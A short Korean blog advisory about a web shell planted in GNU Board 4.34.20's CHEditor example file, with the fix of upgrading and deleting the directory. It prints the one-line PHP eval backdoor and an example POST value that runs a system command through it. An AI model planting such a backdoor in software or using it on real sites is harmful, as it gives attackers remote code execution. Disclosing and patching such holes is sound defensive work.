Security

GNU Board 그누보드 4.34.20 버젼 웹셀 삽입 취약점

CHOMAN 2015. 6. 8. 16:19

GNU Board 그누보드 4.34.20 버젼 웹셀 삽입 취약점

 

/cheditor4/example/textarea.html 파일내 삽입

 

<?php @eval ($_POST[cheditor]); ?>

 


공격자는 cheditor 변수에 POST 메소드를 전송하여 임의의 PHP 코드 실행 가능 (아래 참조)

 

name='cheditor' value="system('dir');">

 

 

해결책 : 그누보드 4.34.24 이상으로 업그레이드후 CHEditor4 디렉토리 삭제

 - 최신 그누보드 설치디렉토리는 /cheditor4



gnuboard-4.34.20-webshell_report_20120509.pdf